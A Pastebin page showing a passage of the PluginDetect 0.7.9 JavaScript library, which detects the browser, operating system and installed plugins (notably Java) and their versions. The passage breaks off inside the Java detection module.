This week only. Pastebin PRO Accounts Christmas Special! Don't miss out!Want more features on Pastebin? Sign Up, it's FREE!
Guest

Untitled

By: a guest on Dec 1st, 2012  |  syntax: JavaScript  |  size: 70.13 KB  |  views: 516  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. var PluginDetect = {
  2.     version: "0.7.9",
  3.     name: "PluginDetect",
  4.     handler: function (c, b, a) {
  5.         return function () {
  6.             c(b, a)
  7.         }
  8.     },
  9.     openTag: "<",
  10.     isDefined: function (b) {
  11.         return typeof b != "undefined"
  12.     },
  13.     isArray: function (b) {
  14.         return (/array/i).test(Object.prototype.toString.call(b))
  15.     },
  16.     isFunc: function (b) {
  17.         return typeof b == "function"
  18.     },
  19.     isString: function (b) {
  20.         return typeof b == "string"
  21.     },
  22.     isNum: function (b) {
  23.         return typeof b == "number"
  24.     },
  25.     isStrNum: function (b) {
  26.         return (typeof b == "string" && (/\d/).test(b))
  27.     },
  28.     getNumRegx: /[\d][\d\.\_,-]*/,
  29.     splitNumRegx: /[\.\_,-]/g,
  30.     getNum: function (b, c) {
  31.         var d = this,
  32.             a = d.isStrNum(b) ? (d.isDefined(c) ? new RegExp(c) : d.getNumRegx).exec(b) : null;
  33.         return a ? a[0] : null
  34.     },
  35.     compareNums: function (h, f, d) {
  36.         var e = this,
  37.             c, b, a, g = parseInt;
  38.         if (e.isStrNum(h) && e.isStrNum(f)) {
  39.             if (e.isDefined(d) && d.compareNums) {
  40.                 return d.compareNums(h, f)
  41.             }
  42.             c = h.split(e.splitNumRegx);
  43.             b = f.split(e.splitNumRegx);
  44.             for (a = 0; a < Math.min(c.length, b.length); a++) {
  45.                 if (g(c[a], 10) > g(b[a], 10)) {
  46.                     return 1
  47.                 }
  48.                 if (g(c[a], 10) < g(b[a], 10)) {
  49.                     return -1
  50.                 }
  51.             }
  52.         }
  53.         return 0
  54.     },
  55.     formatNum: function (b, c) {
  56.         var d = this,
  57.             a, e;
  58.         if (!d.isStrNum(b)) {
  59.             return null
  60.         }
  61.         if (!d.isNum(c)) {
  62.             c = 4
  63.         }
  64.         c--;
  65.         e = b.replace(/\s/g, "").split(d.splitNumRegx).concat(["0", "0", "0", "0"]);
  66.         for (a = 0; a < 4; a++) {
  67.             if (/^(0+)(.+)$/.test(e[a])) {
  68.                 e[a] = RegExp.$2
  69.             }
  70.             if (a > c || !(/\d/).test(e[a])) {
  71.                 e[a] = "0"
  72.             }
  73.         }
  74.         return e.slice(0, 4).join(",")
  75.     },
  76.     $$hasMimeType: function (a) {
  77.         return function (c) {
  78.             if (!a.isIE && c) {
  79.                 var f, e, b, d = a.isArray(c) ? c : (a.isString(c) ? [c] : []);
  80.                 for (b = 0; b < d.length; b++) {
  81.                     if (a.isString(d[b]) && /[^\s]/.test(d[b])) {
  82.                         f = navigator.mimeTypes[d[b]];
  83.                         e = f ? f.enabledPlugin : 0;
  84.                         if (e && (e.name || e.description)) {
  85.                             return f
  86.                         }
  87.                     }
  88.                 }
  89.             }
  90.             return null
  91.         }
  92.     },
  93.     findNavPlugin: function (l, e, c) {
  94.         var j = this,
  95.             h = new RegExp(l, "i"),
  96.             d = (!j.isDefined(e) || e) ? /\d/ : 0,
  97.             k = c ? new RegExp(c, "i") : 0,
  98.             a = navigator.plugins,
  99.             g = "",
  100.             f, b, m;
  101.         for (f = 0; f < a.length; f++) {
  102.             m = a[f].description || g;
  103.             b = a[f].name || g;
  104.             if ((h.test(m) && (!d || d.test(RegExp.leftContext + RegExp.rightContext))) || (h.test(b) && (!d || d.test(RegExp.leftContext + RegExp.rightContext)))) {
  105.                 if (!k || !(k.test(m) || k.test(b))) {
  106.                     return a[f]
  107.                 }
  108.             }
  109.         }
  110.         return null
  111.     },
  112.     getMimeEnabledPlugin: function (k, m, c) {
  113.         var e = this,
  114.             f, b = new RegExp(m, "i"),
  115.             h = "",
  116.             g = c ? new RegExp(c, "i") : 0,
  117.             a, l, d, j = e.isString(k) ? [k] : k;
  118.         for (d = 0; d < j.length; d++) {
  119.             if ((f = e.hasMimeType(j[d])) && (f = f.enabledPlugin)) {
  120.                 l = f.description || h;
  121.                 a = f.name || h;
  122.                 if (b.test(l) || b.test(a)) {
  123.                     if (!g || !(g.test(l) || g.test(a))) {
  124.                         return f
  125.                     }
  126.                 }
  127.             }
  128.         }
  129.         return 0
  130.     },
  131.     getPluginFileVersion: function (f, b) {
  132.         var h = this,
  133.             e, d, g, a, c = -1;
  134.         if (h.OS > 2 || !f || !f.version || !(e = h.getNum(f.version))) {
  135.             return b
  136.         }
  137.         if (!b) {
  138.             return e
  139.         }
  140.         e = h.formatNum(e);
  141.         b = h.formatNum(b);
  142.         d = b.split(h.splitNumRegx);
  143.         g = e.split(h.splitNumRegx);
  144.         for (a = 0; a < d.length; a++) {
  145.             if (c > -1 && a > c && d[a] != "0") {
  146.                 return b
  147.             }
  148.             if (g[a] != d[a]) {
  149.                 if (c == -1) {
  150.                     c = a
  151.                 }
  152.                 if (d[a] != "0") {
  153.                     return b
  154.                 }
  155.             }
  156.         }
  157.         return e
  158.     },
  159.     AXO: window.ActiveXObject,
  160.     getAXO: function (a) {
  161.         var f = null,
  162.             d, b = this,
  163.             c = {};
  164.         try {
  165.             f = new b.AXO(a)
  166.         } catch (d) {}
  167.         return f
  168.     },
  169.     convertFuncs: function (f) {
  170.         var a, g, d, b = /^[\$][\$]/,
  171.             c = this;
  172.         for (a in f) {
  173.             if (b.test(a)) {
  174.                 try {
  175.                     g = a.slice(2);
  176.                     if (g.length > 0 && !f[g]) {
  177.                         f[g] = f[a](f);
  178.                         delete f[a]
  179.                     }
  180.                 } catch (d) {}
  181.             }
  182.         }
  183.     },
  184.     initObj: function (e, b, d) {
  185.         var a, c;
  186.         if (e) {
  187.             if (e[b[0]] == 1 || d) {
  188.                 for (a = 0; a < b.length; a = a + 2) {
  189.                     e[b[a]] = b[a + 1]
  190.                 }
  191.             }
  192.             for (a in e) {
  193.                 c = e[a];
  194.                 if (c && c[b[0]] == 1) {
  195.                     this.initObj(c, b)
  196.                 }
  197.             }
  198.         }
  199.     },
  200.     initScript: function () {
  201.         var d = this,
  202.             a = navigator,
  203.             h, i = document,
  204.             l = a.userAgent || "",
  205.             j = a.vendor || "",
  206.             b = a.platform || "",
  207.             k = a.product || "";
  208.         d.initObj(d, ["$", d]);
  209.         for (h in d.Plugins) {
  210.             if (d.Plugins[h]) {
  211.                 d.initObj(d.Plugins[h], ["$", d, "$$", d.Plugins[h]], 1)
  212.             }
  213.         }
  214.         d.convertFuncs(d);
  215.         d.OS = 100;
  216.         if (b) {
  217.             var g = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod", 21.2, "iPad", 21.3, "Win.*CE", 22.1, "Win.*Mobile", 22.2, "Pocket\s*PC", 22.3, "", 100];
  218.             for (h = g.length - 2; h >= 0; h = h - 2) {
  219.                 if (g[h] && new RegExp(g[h], "i").test(b)) {
  220.                     d.OS = g[h + 1];
  221.                     break
  222.                 }
  223.             }
  224.         };
  225.         d.head = i.getElementsByTagName("head")[0] || i.getElementsByTagName("body")[0] || i.body || null;
  226.         d.isIE = new Function("return/*@cc_on!@*/!1")();
  227.         d.verIE = d.isIE && (/MSIE\s*(\d+\.?\d*)/i).test(l) ? parseFloat(RegExp.$1, 10) : null;
  228.         d.ActiveXEnabled = false;
  229.         if (d.isIE) {
  230.             var h, m = ["Msxml2.XMLHTTP", "Msxml2.DOMDocument", "Microsoft.XMLDOM", "ShockwaveFlash.ShockwaveFlash", "TDCCtl.TDCCtl", "Shell.UIHelper", "Scripting.Dictionary", "wmplayer.ocx"];
  231.             for (h = 0; h < m.length; h++) {
  232.                 if (d.getAXO(m[h])) {
  233.                     d.ActiveXEnabled = true;
  234.                     break
  235.                 }
  236.             }
  237.         };
  238.         d.isGecko = (/Gecko/i).test(k) && (/Gecko\s*\/\s*\d/i).test(l);
  239.         d.verGecko = d.isGecko ? d.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(l) ? RegExp.$1 : "0.9") : null;
  240.         d.isChrome = (/Chrome\s*\/\s*(\d[\d\.]*)/i).test(l);
  241.         d.verChrome = d.isChrome ? d.formatNum(RegExp.$1) : null;
  242.         d.isSafari = ((/Apple/i).test(j) || (!j && !d.isChrome)) && (/Safari\s*\/\s*(\d[\d\.]*)/i).test(l);
  243.         d.verSafari = d.isSafari && (/Version\s*\/\s*(\d[\d\.]*)/i).test(l) ? d.formatNum(RegExp.$1) : null;
  244.         d.isOpera = (/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(l);
  245.         d.verOpera = d.isOpera && ((/Version\s*\/\s*(\d+\.?\d*)/i).test(l) || 1) ? parseFloat(RegExp.$1, 10) : null;
  246.         d.addWinEvent("load", d.handler(d.runWLfuncs, d))
  247.     },
  248.     init: function (d) {
  249.         var c = this,
  250.             b, d, a = {
  251.                 status: -3,
  252.                 plugin: 0
  253.             };
  254.         if (!c.isString(d)) {
  255.             return a
  256.         }
  257.         if (d.length == 1) {
  258.             c.getVersionDelimiter = d;
  259.             return a
  260.         }
  261.         d = d.toLowerCase().replace(/\s/g, "");
  262.         b = c.Plugins[d];
  263.         if (!b || !b.getVersion) {
  264.             return a
  265.         }
  266.         a.plugin = b;
  267.         if (!c.isDefined(b.installed)) {
  268.             b.installed = null;
  269.             b.version = null;
  270.             b.version0 = null;
  271.             b.getVersionDone = null;
  272.             b.pluginName = d
  273.         }
  274.         c.garbage = false;
  275.         if (c.isIE && !c.ActiveXEnabled && d !== "Ja" + "va") {
  276.             a.status = -2;
  277.             return a
  278.         }
  279.         a.status = 1;
  280.         return a
  281.     },
  282.     fPush: function (b, a) {
  283.         var c = this;
  284.         if (c.isArray(a) && (c.isFunc(b) || (c.isArray(b) && b.length > 0 && c.isFunc(b[0])))) {
  285.             a.push(b)
  286.         }
  287.     },
  288.     callArray: function (b) {
  289.         var c = this,
  290.             a;
  291.         if (c.isArray(b)) {
  292.             for (a = 0; a < b.length; a++) {
  293.                 if (b[a] === null) {
  294.                     return
  295.                 }
  296.                 c.call(b[a]);
  297.                 b[a] = null
  298.             }
  299.         }
  300.     },
  301.     call: function (c) {
  302.         var b = this,
  303.             a = b.isArray(c) ? c.length : -1;
  304.         if (a > 0 && b.isFunc(c[0])) {
  305.             c[0](b, a > 1 ? c[1] : 0, a > 2 ? c[2] : 0, a > 3 ? c[3] : 0)
  306.         } else {
  307.             if (b.isFunc(c)) {
  308.                 c(b)
  309.             }
  310.         }
  311.     },
  312.     $$isMinVersion: function (a) {
  313.         return function (h, g, d, c) {
  314.             var e = a.init(h),
  315.                 f, b = -1,
  316.                 j = {};
  317.             if (e.status < 0) {
  318.                 return e.status
  319.             }
  320.             f = e.plugin;
  321.             g = a.formatNum(a.isNum(g) ? g.toString() : (a.isStrNum(g) ? a.getNum(g) : "0"));
  322.             if (f.getVersionDone != 1) {
  323.                 f.getVersion(g, d, c);
  324.                 if (f.getVersionDone === null) {
  325.                     f.getVersionDone = 1
  326.                 }
  327.             }
  328.             a.cleanup();
  329.             if (f.installed !== null) {
  330.                 b = f.installed <= 0.5 ? f.installed : (f.installed == 0.7 ? 1 : (f.version === null ? 0 : (a.compareNums(f.version, g, f) >= 0 ? 1 : -0.1)))
  331.             };
  332.             return b
  333.         }
  334.     },
  335.     getVersionDelimiter: ",",
  336.     $$getVersion: function (a) {
  337.         return function (g, d, c) {
  338.             var e = a.init(g),
  339.                 f, b, h = {};
  340.             if (e.status < 0) {
  341.                 return null
  342.             };
  343.             f = e.plugin;
  344.             if (f.getVersionDone != 1) {
  345.                 f.getVersion(null, d, c);
  346.                 if (f.getVersionDone === null) {
  347.                     f.getVersionDone = 1
  348.                 }
  349.             }
  350.             a.cleanup();
  351.             b = (f.version || f.version0);
  352.             b = b ? b.replace(a.splitNumRegx, a.getVersionDelimiter) : b;
  353.             return b
  354.         }
  355.     },
  356.     cleanup: function () {
  357.         var a = this;
  358.         if (a.garbage && a.isDefined(window.CollectGarbage)) {
  359.             window.CollectGarbage()
  360.         }
  361.     },
  362.     addWinEvent: function (d, c) {
  363.         var e = this,
  364.             a = window,
  365.             b;
  366.         if (e.isFunc(c)) {
  367.             if (a.addEventListener) {
  368.                 a.addEventListener(d, c, false)
  369.             } else {
  370.                 if (a.attachEvent) {
  371.                     a.attachEvent("on" + d, c)
  372.                 } else {
  373.                     b = a["on" + d];
  374.                     a["on" + d] = e.winHandler(c, b)
  375.                 }
  376.             }
  377.         }
  378.     },
  379.     winHandler: function (d, c) {
  380.         return function () {
  381.             d();
  382.             if (typeof c == "function") {
  383.                 c()
  384.             }
  385.         }
  386.     },
  387.     WLfuncs0: [],
  388.     WLfuncs: [],
  389.     runWLfuncs: function (a) {
  390.         var b = {};
  391.         a.winLoaded = true;
  392.         a.callArray(a.WLfuncs0);
  393.         a.callArray(a.WLfuncs);
  394.         if (a.onDoneEmptyDiv) {
  395.             a.onDoneEmptyDiv()
  396.         }
  397.     },
  398.     winLoaded: false,
  399.     $$onWindowLoaded: function (a) {
  400.         return function (b) {
  401.             if (a.winLoaded) {
  402.                 a.call(b)
  403.             } else {
  404.                 a.fPush(b, a.WLfuncs)
  405.             }
  406.         }
  407.     },
  408.     $$onDetectionDone: function (a) {
  409.         return function (h, g, c, b) {
  410.             var d = a.init(h),
  411.                 k, e, j = {};
  412.             if (d.status == -3) {
  413.                 return -1
  414.             }
  415.             e = d.plugin;
  416.             if (!a.isArray(e.funcs)) {
  417.                 e.funcs = []
  418.             }
  419.             if (e.getVersionDone != 1) {
  420.                 k = a.isMinVersion ? a.isMinVersion(h, "0", c, b) : a.getVersion(h, c, b)
  421.             }
  422.             if (e.installed != -0.5 && e.installed != 0.5) {
  423.                 a.call(g);
  424.                 return 1
  425.             }
  426.             if (e.NOTF) {
  427.                 a.fPush(g, e.funcs);
  428.                 return 0
  429.             }
  430.             return 1
  431.         }
  432.     },
  433.     div: null,
  434.     divID: "plugindetect",
  435.     divWidth: 50,
  436.     pluginSize: 1,
  437.     emptyDiv: function () {
  438.         var d = this,
  439.             b, h, c, a, f, g;
  440.         if (d.div && d.div.childNodes) {
  441.             for (b = d.div.childNodes.length - 1; b >= 0; b--) {
  442.                 c = d.div.childNodes[b];
  443.                 if (c && c.childNodes) {
  444.                     for (h = c.childNodes.length - 1; h >= 0; h--) {
  445.                         g = c.childNodes[h];
  446.                         try {
  447.                             c.removeChild(g)
  448.                         } catch (f) {}
  449.                     }
  450.                 }
  451.                 if (c) {
  452.                     try {
  453.                         d.div.removeChild(c)
  454.                     } catch (f) {}
  455.                 }
  456.             }
  457.         }
  458.         if (!d.div) {
  459.             a = document.getElementById(d.divID);
  460.             if (a) {
  461.                 d.div = a
  462.             }
  463.         }
  464.         if (d.div && d.div.parentNode) {
  465.             try {
  466.                 d.div.parentNode.removeChild(d.div)
  467.             } catch (f) {}
  468.             d.div = null
  469.         }
  470.     },
  471.     DONEfuncs: [],
  472.     onDoneEmptyDiv: function () {
  473.         var c = this,
  474.             a, b;
  475.         if (!c.winLoaded) {
  476.             return
  477.         }
  478.         if (c.WLfuncs && c.WLfuncs.length && c.WLfuncs[c.WLfuncs.length - 1] !== null) {
  479.             return
  480.         }
  481.         for (a in c) {
  482.             b = c[a];
  483.             if (b && b.funcs) {
  484.                 if (b.OTF == 3) {
  485.                     return
  486.                 }
  487.                 if (b.funcs.length && b.funcs[b.funcs.length - 1] !== null) {
  488.                     return
  489.                 }
  490.             }
  491.         }
  492.         for (a = 0; a < c.DONEfuncs.length; a++) {
  493.             c.callArray(c.DONEfuncs)
  494.         }
  495.         c.emptyDiv()
  496.     },
  497.     getWidth: function (c) {
  498.         if (c) {
  499.             var a = c.scrollWidth || c.offsetWidth,
  500.                 b = this;
  501.             if (b.isNum(a)) {
  502.                 return a
  503.             }
  504.         }
  505.         return -1
  506.     },
  507.     getTagStatus: function (m, g, a, b) {
  508.         var c = this,
  509.             f, k = m.span,
  510.             l = c.getWidth(k),
  511.             h = a.span,
  512.             j = c.getWidth(h),
  513.             d = g.span,
  514.             i = c.getWidth(d);
  515.         if (!k || !h || !d || !c.getDOMobj(m)) {
  516.             return -2
  517.         }
  518.         if (j < i || l < 0 || j < 0 || i < 0 || i <= c.pluginSize || c.pluginSize < 1) {
  519.             return 0
  520.         }
  521.         if (l >= i) {
  522.             return -1
  523.         }
  524.         try {
  525.             if (l == c.pluginSize && (!c.isIE || c.getDOMobj(m).readyState == 4)) {
  526.                 if (!m.winLoaded && c.winLoaded) {
  527.                     return 1
  528.                 }
  529.                 if (m.winLoaded && c.isNum(b)) {
  530.                     if (!c.isNum(m.count)) {
  531.                         m.count = b
  532.                     }
  533.                     if (b - m.count >= 10) {
  534.                         return 1
  535.                     }
  536.                 }
  537.             }
  538.         } catch (f) {}
  539.         return 0
  540.     },
  541.     getDOMobj: function (g, a) {
  542.         var f, d = this,
  543.             c = g ? g.span : 0,
  544.             b = c && c.firstChild ? 1 : 0;
  545.         try {
  546.             if (b && a) {
  547.                 d.div.focus()
  548.             }
  549.         } catch (f) {}
  550.         return b ? c.firstChild : null
  551.     },
  552.     setStyle: function (b, g) {
  553.         var f = b.style,
  554.             a, d, c = this;
  555.         if (f && g) {
  556.             for (a = 0; a < g.length; a = a + 2) {
  557.                 try {
  558.                     f[g[a]] = g[a + 1]
  559.                 } catch (d) {}
  560.             }
  561.         }
  562.     },
  563.     insertDivInBody: function (i, g) {
  564.         var f, c = this,
  565.             h = "pd33993399",
  566.             b = null,
  567.             d = g ? window.top.document : window.document,
  568.             a = d.getElementsByTagName("body")[0] || d.body;
  569.         if (!a) {
  570.             try {
  571.                 d.write('<div id="' + h + '">.' + c.openTag + "/div>");
  572.                 b = d.getElementById(h)
  573.             } catch (f) {}
  574.         }
  575.         a = d.getElementsByTagName("body")[0] || d.body;
  576.         if (a) {
  577.             a.insertBefore(i, a.firstChild);
  578.             if (b) {
  579.                 a.removeChild(b)
  580.             }
  581.         }
  582.     },
  583.     insertHTML: function (f, b, g, a, k) {
  584.         var l, m = document,
  585.             j = this,
  586.             p, o = m.createElement("span"),
  587.             n, i;
  588.         var c = ["outlineStyle", "none", "borderStyle", "none", "padding", "0px", "margin", "0px", "visibility", "visible"];
  589.         var h = "outline-style:none;border-style:none;padding:0px;margin:0px;visibility:visible;";
  590.         if (!j.isDefined(a)) {
  591.             a = ""
  592.         }
  593.         if (j.isString(f) && (/[^\s]/).test(f)) {
  594.             f = f.toLowerCase().replace(/\s/g, "");
  595.             p = j.openTag + f + ' width="' + j.pluginSize + '" height="' + j.pluginSize + '" ';
  596.             p += 'style="' + h + 'display:inline;" ';
  597.             for (n = 0; n < b.length; n = n + 2) {
  598.                 if (/[^\s]/.test(b[n + 1])) {
  599.                     p += b[n] + '="' + b[n + 1] + '" '
  600.                 }
  601.             }
  602.             p += ">";
  603.             for (n = 0; n < g.length; n = n + 2) {
  604.                 if (/[^\s]/.test(g[n + 1])) {
  605.                     p += j.openTag + 'param name="' + g[n] + '" value="' + g[n + 1] + '" />'
  606.                 }
  607.             }
  608.             p += a + j.openTag + "/" + f + ">"
  609.         } else {
  610.             p = a
  611.         }
  612.         if (!j.div) {
  613.             i = m.getElementById(j.divID);
  614.             if (i) {
  615.                 j.div = i
  616.             } else {
  617.                 j.div = m.createElement("div");
  618.                 j.div.id = j.divID
  619.             }
  620.             j.setStyle(j.div, c.concat(["width", j.divWidth + "px", "height", (j.pluginSize + 3) + "px", "fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "block"]));
  621.             if (!i) {
  622.                 j.setStyle(j.div, ["position", "absolute", "right", "0px", "top", "0px"]);
  623.                 j.insertDivInBody(j.div)
  624.             }
  625.         }
  626.         if (j.div && j.div.parentNode) {
  627.             j.setStyle(o, c.concat(["fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "inline"]));
  628.             try {
  629.                 o.innerHTML = p
  630.             } catch (l) {};
  631.             try {
  632.                 j.div.appendChild(o)
  633.             } catch (l) {};
  634.             return {
  635.                 span: o,
  636.                 winLoaded: j.winLoaded,
  637.                 tagName: f,
  638.                 outerHTML: p
  639.             }
  640.         }
  641.         return {
  642.             span: null,
  643.             winLoaded: j.winLoaded,
  644.             tagName: "",
  645.             outerHTML: p
  646.         }
  647.     },
  648.     file: {
  649.         $: 1,
  650.         any: "fileStorageAny999",
  651.         valid: "fileStorageValid999",
  652.         save: function (d, f, c) {
  653.             var b = this,
  654.                 e = b.$,
  655.                 a;
  656.             if (d && e.isDefined(c)) {
  657.                 if (!d[b.any]) {
  658.                     d[b.any] = []
  659.                 }
  660.                 if (!d[b.valid]) {
  661.                     d[b.valid] = []
  662.                 }
  663.                 d[b.any].push(c);
  664.                 a = b.split(f, c);
  665.                 if (a) {
  666.                     d[b.valid].push(a)
  667.                 }
  668.             }
  669.         },
  670.         getValidLength: function (a) {
  671.             return a && a[this.valid] ? a[this.valid].length : 0
  672.         },
  673.         getAnyLength: function (a) {
  674.             return a && a[this.any] ? a[this.any].length : 0
  675.         },
  676.         getValid: function (c, a) {
  677.             var b = this;
  678.             return c && c[b.valid] ? b.get(c[b.valid], a) : null
  679.         },
  680.         getAny: function (c, a) {
  681.             var b = this;
  682.             return c && c[b.any] ? b.get(c[b.any], a) : null
  683.         },
  684.         get: function (d, a) {
  685.             var c = d.length - 1,
  686.                 b = this.$.isNum(a) ? a : c;
  687.             return (b < 0 || b > c) ? null : d[b]
  688.         },
  689.         split: function (g, c) {
  690.             var b = this,
  691.                 e = b.$,
  692.                 f = null,
  693.                 a, d;
  694.             g = g ? g.replace(".", "\.") : "";
  695.             d = new RegExp("^(.*[^\/])(" + g + "\s*)$");
  696.             if (e.isString(c) && d.test(c)) {
  697.                 a = (RegExp.$1).split("/");
  698.                 f = {
  699.                     name: a[a.length - 1],
  700.                     ext: RegExp.$2,
  701.                     full: c
  702.                 };
  703.                 a[a.length - 1] = "";
  704.                 f.path = a.join("/")
  705.             }
  706.             return f
  707.         },
  708.         z: 0
  709.     },
  710.     Plugins: {
  711.         java: {
  712.             mimeType: ["application/x-java-applet", "application/x-java-vm", "application/x-java-bean"],
  713.             classID: "clsid:8AD9C840-044E-11D1-B3E9-00805F499D93",
  714.             navigator: {
  715.                 a: window.navigator.javaEnabled(),
  716.                 javaEnabled: function () {
  717.                     return this.a
  718.                 },
  719.                 mimeObj: 0,
  720.                 pluginObj: 0
  721.             },
  722.             OTF: null,
  723.             minIEver: 7,
  724.             debug: 0,
  725.             debugEnable: function () {
  726.                 var a = this,
  727.                     b = a.$;
  728.                 a.debug = 1
  729.             },
  730.             isDisabled: {
  731.                 $: 1,
  732.                 DTK: function () {
  733.                     var a = this,
  734.                         c = a.$,
  735.                         b = a.$$;
  736.                     if ((c.isGecko && c.compareNums(c.verGecko, c.formatNum("1.6")) <= 0) || (c.isSafari && c.OS == 1 && (!c.verSafari || c.compareNums(c.verSafari, "5,1,0,0") < 0)) || c.isChrome || (c.isIE && !c.ActiveXEnabled)) {
  737.                         return 1
  738.                     }
  739.                     return 0
  740.                 },
  741.                 AXO: function () {
  742.                     var a = this,
  743.                         c = a.$,
  744.                         b = a.$$;
  745.                     return (!c.isIE || !c.ActiveXEnabled || (!b.debug && b.DTK.query().status !== 0))
  746.                 },
  747.                 navMime: function () {
  748.                     var b = this,
  749.                         d = b.$,
  750.                         c = b.$$,
  751.                         a = c.navigator;
  752.                     if (d.isIE || !a.mimeObj || !a.pluginObj) {
  753.                         return 1
  754.                     }
  755.                     return 0
  756.                 },
  757.                 navPlugin: function () {
  758.                     var b = this,
  759.                         d = b.$,
  760.                         c = b.$$,
  761.                         a = c.navigator;
  762.                     if (d.isIE || !a.mimeObj || !a.pluginObj) {
  763.                         return 1
  764.                     }
  765.                     return 0
  766.                 },
  767.                 windowDotJava: function () {
  768.                     var a = this,
  769.                         c = a.$,
  770.                         b = a.$$;
  771.                     if (!window.java) {
  772.                         return 1
  773.                     }
  774.                     if (c.OS == 2 && c.verOpera && c.verOpera < 9.2 && c.verOpera >= 9) {
  775.                         return 1
  776.                     }
  777.                     return 0
  778.                 },
  779.                 allApplets: function () {
  780.                     var b = this,
  781.                         d = b.$,
  782.                         c = b.$$,
  783.                         a = c.navigator;
  784.                     if (d.OS >= 20) {
  785.                         return 0
  786.                     }
  787.                     if (d.verOpera && d.verOpera < 11 && !a.javaEnabled() && !c.lang.System.getProperty()[0]) {
  788.                         return 1
  789.                     }
  790.                     if ((d.verGecko && d.compareNums(d.verGecko, d.formatNum("2")) < 0) && !a.mimeObj && !c.lang.System.getProperty()[0]) {
  791.                         return 1
  792.                     }
  793.                     return 0
  794.                 },
  795.                 AppletTag: function () {
  796.                     var b = this,
  797.                         d = b.$,
  798.                         c = b.$$,
  799.                         a = c.navigator;
  800.                     return d.isIE ? !a.javaEnabled() : 0
  801.                 },
  802.                 ObjectTag: function () {
  803.                     var a = this,
  804.                         c = a.$,
  805.                         b = a.$$;
  806.                     return c.isIE ? !c.ActiveXEnabled : 0
  807.                 },
  808.                 z: 0
  809.             },
  810.             getVerifyTagsDefault: function () {
  811.                 var a = this,
  812.                     c = a.$,
  813.                     b = [1, 0, 1];
  814.                 if (c.OS >= 20) {
  815.                     return b
  816.                 }
  817.                 if ((c.isIE && (c.verIE < 9 || !c.ActiveXEnabled)) || (c.verGecko && c.compareNums(c.verGecko, c.formatNum("2")) < 0) || (c.isSafari && (!c.verSafari || c.compareNums(c.verSafari, c.formatNum("4")) < 0)) || (c.verOpera && c.verOpera < 10)) {
  818.                     b = [1, 1, 1]
  819.                 }
  820.                 return b
  821.             },
  822.             getVersion: function (j, g, i) {
  823.                 var b = this,
  824.                     d = b.$,
  825.                     e, a = b.applet,
  826.                     h = b.verify,
  827.                     k = b.navigator,
  828.                     f = null,
  829.                     l = null,
  830.                     c = null;
  831.                 if (b.getVersionDone === null) {
  832.                     b.OTF = 0;
  833.                     k.mimeObj = d.hasMimeType(b.mimeType);
  834.                     if (k.mimeObj) {
  835.                         k.pluginObj = k.mimeObj.enabledPlugin
  836.                     }
  837.                     if (h) {
  838.                         h.begin()
  839.                     }
  840.                 }
  841.                 a.setVerifyTagsArray(i);
  842.                 d.file.save(b, ".jar", g);
  843.                 if (b.getVersionDone === 0) {
  844.                     if (a.should_Insert_Query_Any()) {
  845.                         e = a.insert_Query_Any();
  846.                         b.setPluginStatus(e[0], e[1], f)
  847.                     }
  848.                     return
  849.                 }
  850.                 if ((!f || b.debug) && b.DTK.query().version) {
  851.                     f = b.DTK.version
  852.                 }
  853.                 if ((!f || b.debug) && b.navMime.query().version) {
  854.                     f = b.navMime.version
  855.                 }
  856.                 if ((!f || b.debug) && b.navPlugin.query().version) {
  857.                     f = b.navPlugin.version
  858.                 }
  859.                 if ((!f || b.debug) && b.AXO.query().version) {
  860.                     f = b.AXO.version
  861.                 }
  862.                 if (b.nonAppletDetectionOk(f)) {
  863.                     c = f
  864.                 }
  865.                 if (!c || b.debug || a.VerifyTagsHas(2.2) || a.VerifyTagsHas(2.5)) {
  866.                     e = b.lang.System.getProperty();
  867.                     if (e[0]) {
  868.                         f = e[0];
  869.                         c = e[0];
  870.                         l = e[1]
  871.                     }
  872.                 }
  873.                 b.setPluginStatus(c, l, f);
  874.                 if (a.should_Insert_Query_Any()) {
  875.                     e = a.insert_Query_Any();
  876.                     if (e[0]) {
  877.                         c = e[0];
  878.                         l = e[1]
  879.                     }
  880.                 }
  881.                 b.setPluginStatus(c, l, f)
  882.             },
  883.             nonAppletDetectionOk: function (b) {
  884.                 var d = this,
  885.                     e = d.$,
  886.                     a = d.navigator,
  887.                     c = 1;
  888.                 if (!b || (!a.javaEnabled() && !d.lang.System.getPropertyHas(b)) || (!e.isIE && !a.mimeObj && !d.lang.System.getPropertyHas(b)) || (e.isIE && !e.ActiveXEnabled)) {
  889.                     c = 0
  890.                 } else {
  891.                     if (e.OS >= 20) {} else {
  892.                         if (d.info && d.info.getPlugin2Status() < 0 && d.info.BrowserRequiresPlugin2()) {
  893.                             c = 0
  894.                         }
  895.                     }
  896.                 }
  897.                 return c
  898.             },
  899.             setPluginStatus: function (d, f, a) {
  900.                 var c = this,
  901.                     e = c.$,
  902.                     b;
  903.                 a = a || c.version0;
  904.                 if (c.OTF > 0) {
  905.                     d = d || c.lang.System.getProperty()[0]
  906.                 }
  907.                 if (c.OTF < 3) {
  908.                     b = d ? 1 : (a ? -0.2 : -1);
  909.                     if (c.installed === null || b > c.installed) {
  910.                         c.installed = b
  911.                     }
  912.                 }
  913.                 if (c.OTF == 2 && c.NOTF && !c.applet.getResult()[0] && !c.lang.System.getProperty()[0]) {
  914.                     c.installed = a ? -0.2 : -1
  915.                 };
  916.                 if (c.OTF == 3 && c.installed != -0.5 && c.installed != 0.5) {
  917.                     c.installed = (c.NOTF.isJavaActive(1) == 1 || c.lang.System.getProperty()[0]) ? 0.5 : -0.5
  918.                 }
  919.                 if (c.OTF == 4 && (c.installed == -0.5 || c.installed == 0.5)) {
  920.                     if (d) {
  921.                         c.installed = 1
  922.                     } else {
  923.                         if (c.NOTF.isJavaActive(1) == 1) {
  924.                             if (a) {
  925.                                 c.installed = 1;
  926.                                 d = a
  927.                             } else {
  928.                                 c.installed = 0
  929.                             }
  930.                         } else {
  931.                             if (a) {
  932.                                 c.installed = -0.2
  933.                             } else {
  934.                                 c.installed = -1
  935.                             }
  936.                         }
  937.                     }
  938.                 };
  939.                 if (a) {
  940.                     c.version0 = e.formatNum(e.getNum(a))
  941.                 }
  942.                 if (d) {
